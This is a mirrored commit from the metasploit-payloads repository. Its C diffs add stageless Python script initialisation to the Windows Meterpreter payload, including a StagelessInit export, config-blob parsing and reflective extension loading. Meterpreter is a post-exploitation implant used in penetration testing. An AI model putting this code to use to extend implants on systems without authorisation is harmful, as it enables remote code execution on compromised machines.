1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

Land #51, stageless windows meterpreter python initialization support

This commit is contained in:
Brent Cook 2015-11-25 21:32:48 -06:00
commit 6ebd997d83
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
9 changed files with 141 additions and 74 deletions

4
c/meterpreter/source/common/config.h Normal file → Executable file
View File

@ -69,6 +69,10 @@ typedef struct _MetsrvConfig
MetsrvSession session;
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
// <name of extension>\x00<datasize><data>
// <name of extension>\x00<datasize><data>
// \x00
} MetsrvConfig;
#endif

131
c/meterpreter/source/extensions/python/python_commands.c Normal file → Executable file
View File

@ -9,11 +9,6 @@
#include "python_meterpreter_binding.h"
#include "Resource Files/python_core.rh"
///! @brief List of valid python code types for loading
#define PY_CODE_TYPE_STRING 0
#define PY_CODE_TYPE_PY 1
#define PY_CODE_TYPE_PYC 2
///! @brief Struct that contains pointer to init function and name.
typedef struct _InitFunc
{
@ -413,6 +408,69 @@ DWORD request_python_reset(Remote* remote, Packet* packet)
return ERROR_SUCCESS;
}
VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT codeType, CHAR* resultVar, Packet* responsePacket)
{
PyObject* mainModule = PyImport_AddModule("__main__");
PyObject* mainDict = PyModule_GetDict(mainModule);
if (pythonCode != NULL)
{
if (codeType == PY_CODE_TYPE_STRING)
{
dprintf("[PYTHON] attempting to run string: %s", pythonCode);
PyRun_SimpleString(pythonCode);
}
else
{
dprintf("[PYTHON] module name: %s", modName);
if (modName)
{
PyObject* pyModName = PyString_FromString(modName);
PyModule_AddObject(mainModule, "met_mod_name", pyModName);
}
if (codeType == PY_CODE_TYPE_PY)
{
dprintf("[PYTHON] importing .py file");
PyObject* pyModBody = PyString_FromString(pythonCode);
PyModule_AddObject(mainModule, "met_mod_body", pyModBody);
}
else
{
dprintf("[PYTHON] importing .pyc file");
// must be a pyc file
PyObject* pyModBody = PyString_FromStringAndSize(pythonCode, codeLength);
dprintf("[PYTHON] myModBody %p: %s", pyModBody, pyModBody->ob_type->tp_name);
PyModule_AddObject(mainModule, "met_mod_body", pyModBody);
}
dprintf("[PYTHON] executing import, GO GO GO !");
PyRun_SimpleString("met_import_code()");
}
if (resultVar && responsePacket)
{
PyObject* result = PyDict_GetItemString(mainDict, resultVar);
if (result != NULL)
{
if (PyString_Check(result))
{
// result is already a string
packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result));
}
else
{
PyObject* resultStr = PyObject_Str(result);
packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr));
Py_DECREF(resultStr);
}
}
}
}
}
/*!
* @brief Execute a block of python given in a string and return the result/output.
* @param remote Pointer to the \c Remote making the request.
@ -430,65 +488,12 @@ DWORD request_python_execute(Remote* remote, Packet* packet)
if (pythonCode != NULL)
{
UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response);
if (codeType == PY_CODE_TYPE_STRING)
{
dprintf("[PYTHON] attempting to run string: %s", pythonCode);
PyRun_SimpleString(pythonCode);
}
else
{
CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
dprintf("[PYTHON] module name: %s", modName);
if (modName)
{
PyObject* pyModName = PyString_FromString(modName);
PyModule_AddObject(mainModule, "met_mod_name", pyModName);
}
if (codeType == PY_CODE_TYPE_PY)
{
dprintf("[PYTHON] importing .py file");
PyObject* pyModBody = PyString_FromString(pythonCode);
PyModule_AddObject(mainModule, "met_mod_body", pyModBody);
}
else
{
dprintf("[PYTHON] importing .pyc file");
// must be a pyc file
UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
PyObject* pyModBody = PyString_FromStringAndSize(pythonCode, pythonCodeLength);
dprintf("[PYTHON] myModBody %p: %s", pyModBody, pyModBody->ob_type->tp_name);
PyModule_AddObject(mainModule, "met_mod_body", pyModBody);
}
dprintf("[PYTHON] executing import, GO GO GO !");
PyRun_SimpleString("met_import_code()");
}
CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
if (resultVar)
{
PyObject* result = PyDict_GetItemString(mainDict, resultVar);
if (result != NULL)
{
if (PyString_Check(result))
{
// result is already a string
packet_add_tlv_string(response, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result));
}
else
{
PyObject* resultStr = PyObject_Str(result);
packet_add_tlv_string(response, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr));
Py_DECREF(resultStr);
}
}
}
dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR);
clear_std_handler(stderrBuffer);
dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT);

View File

@ -6,9 +6,15 @@
#define _METERPRETER_SOURCE_EXTENSION_PYTHON_PYTHON_COMMANDS
#include "../../common/common.h"
///! @brief List of valid python code types for loading
#define PY_CODE_TYPE_STRING 0
#define PY_CODE_TYPE_PY 1
#define PY_CODE_TYPE_PYC 2
VOID python_prepare_session();
VOID python_destroy_session();
VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT codeType, CHAR* resultVar, Packet* responsePacket);
DWORD request_python_reset(Remote* remote, Packet* packet);
DWORD request_python_execute(Remote* remote, Packet* packet);

13
c/meterpreter/source/extensions/python/python_main.c Normal file → Executable file
View File

@ -110,3 +110,16 @@ DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
strncpy_s(buffer, bufferSize, "python", bufferSize - 1);
return ERROR_SUCCESS;
}
/*!
* @brief Do a stageless initialisation of the extension.
* @param buffer Pointer to the buffer that contains the init data.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) StagelessInit(const LPBYTE buffer, DWORD bufferSize)
{
dprintf("[PYTHON] Executing stagless script:\n%s", (LPCSTR)buffer);
python_execute(NULL, (LPSTR)buffer, bufferSize, PY_CODE_TYPE_PY, NULL, NULL);
return ERROR_SUCCESS;
}

5
c/meterpreter/source/server/metsrv.c Normal file → Executable file
View File

@ -14,8 +14,9 @@
DWORD __declspec(dllexport) Init(SOCKET fd)
{
// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
// a pointer to the metserv configuration, so do a nasty cast and move on.
MetsrvConfig* metConfig = (MetsrvConfig*)fd;
// a pointer to the metserv configuration, so do a nasty cast and move on.
MetsrvConfig* metConfig = (MetsrvConfig*)fd;
dprintf("[METSRV] Getting ready to init with config %p", metConfig);
DWORD result = server_setup(metConfig);
dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);

View File

@ -35,6 +35,7 @@ typedef DWORD (*PSRVINIT)(Remote *remote);
typedef DWORD (*PSRVDEINIT)(Remote *remote);
typedef DWORD (*PSRVGETNAME)(char* buffer, int bufferSize);
typedef VOID (*PCMDADDED)(const char* commandName);
typedef DWORD (*PSTAGELESSINIT)(LPBYTE data, DWORD dataSize);
typedef struct _EXTENSION
{
@ -43,6 +44,7 @@ typedef struct _EXTENSION
PSRVDEINIT deinit;
PSRVGETNAME getname;
PCMDADDED commandAdded;
PSTAGELESSINIT stagelessInit;
Command* start;
Command* end;
char name[16];

3
c/meterpreter/source/server/remote_dispatch.h Normal file → Executable file
View File

@ -4,7 +4,8 @@
DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket);
DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket);
DWORD initialise_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand);
DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand);
DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize);
VOID register_dispatch_routines();
VOID deregister_dispatch_routines(Remote * remote);

View File

@ -77,11 +77,26 @@ VOID load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensi
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
initialise_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}
dprintf("[SERVER] All stageless extensions loaded");
// once we have reached the end, we may have extension initializers
LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size);
while (initData != NULL && *initData != '\0')
{
const char* extensionName = (const char*)initData;
LPBYTE data = initData + strlen(extensionName) + 1 + sizeof(DWORD);
DWORD dataSize = *(DWORD*)(data - sizeof(DWORD));
dprintf("[STAGELESS] init data at %p, name %s, size is %d", extensionName, extensionName, dataSize);
stagelessinit_extension(extensionName, data, dataSize);
initData = data + dataSize;
}
dprintf("[SERVER] All stageless extensions initialised");
}
static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size)
@ -346,8 +361,6 @@ DWORD server_setup(MetsrvConfig* config)
((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd;
}
load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
// Set up the transport creation function pointer
remote->trans_create = create_transport;
// Set up the transport removal function pointer
@ -358,6 +371,12 @@ DWORD server_setup(MetsrvConfig* config)
// Store our thread handle
remote->server_thread = serverThread->handle;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
// this has to be done after dispatch routine are registered
load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
// Store our process token
if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
{
@ -383,9 +402,6 @@ DWORD server_setup(MetsrvConfig* config)
remote->orig_desktop_name = _strdup(desktopName);
remote->curr_desktop_name = _strdup(desktopName);
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
remote->sess_start_time = current_unix_timestamp();
// loop through the transports, reconnecting each time.

View File

@ -8,7 +8,24 @@ extern PLIST gExtensionList;
// see common/base.c
extern Command *extensionCommands;
DWORD initialise_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand)
DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize)
{
dprintf("[STAGELESSINIT] searching for extension init for %s in %p", extensionName, gExtensionList);
dprintf("[STAGELESSINIT] extension list start is %p", gExtensionList->start);
for (PNODE node = gExtensionList->start; node != NULL; node = node->next)
{
PEXTENSION ext = (PEXTENSION)node->data;
dprintf("[STAGELESSINIT] comparing to %s (init is %p)", ext->name, ext->stagelessInit);
if (strcmp(ext->name, extensionName) == 0 && ext->stagelessInit != NULL)
{
dprintf("[STAGELESSINIT] found for %s", extensionName);
return ext->stagelessInit(data, dataSize);
}
}
return ERROR_NOT_FOUND;
}
DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand)
{
DWORD dwResult = ERROR_OUTOFMEMORY;
PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION));
@ -27,6 +44,7 @@ DWORD initialise_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote*
pExtension->deinit = (PSRVDEINIT)GetProcAddressR(pExtension->library, "DeinitServerExtension");
pExtension->getname = (PSRVGETNAME)GetProcAddressR(pExtension->library, "GetExtensionName");
pExtension->commandAdded = (PCMDADDED)GetProcAddressR(pExtension->library, "CommandAdded");
pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddressR(pExtension->library, "StagelessInit");
}
else
{
@ -34,6 +52,7 @@ DWORD initialise_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote*
pExtension->deinit = (PSRVDEINIT)GetProcAddress(pExtension->library, "DeinitServerExtension");
pExtension->getname = (PSRVGETNAME)GetProcAddress(pExtension->library, "GetExtensionName");
pExtension->commandAdded = (PCMDADDED)GetProcAddress(pExtension->library, "CommandAdded");
pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddress(pExtension->library, "StagelessInit");
}
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
@ -207,7 +226,7 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
res = initialise_extension(library, bLibLoadedReflectivly, pRemote, response, first);
res = load_extension(library, bLibLoadedReflectivly, pRemote, response, first);
}
} while (0);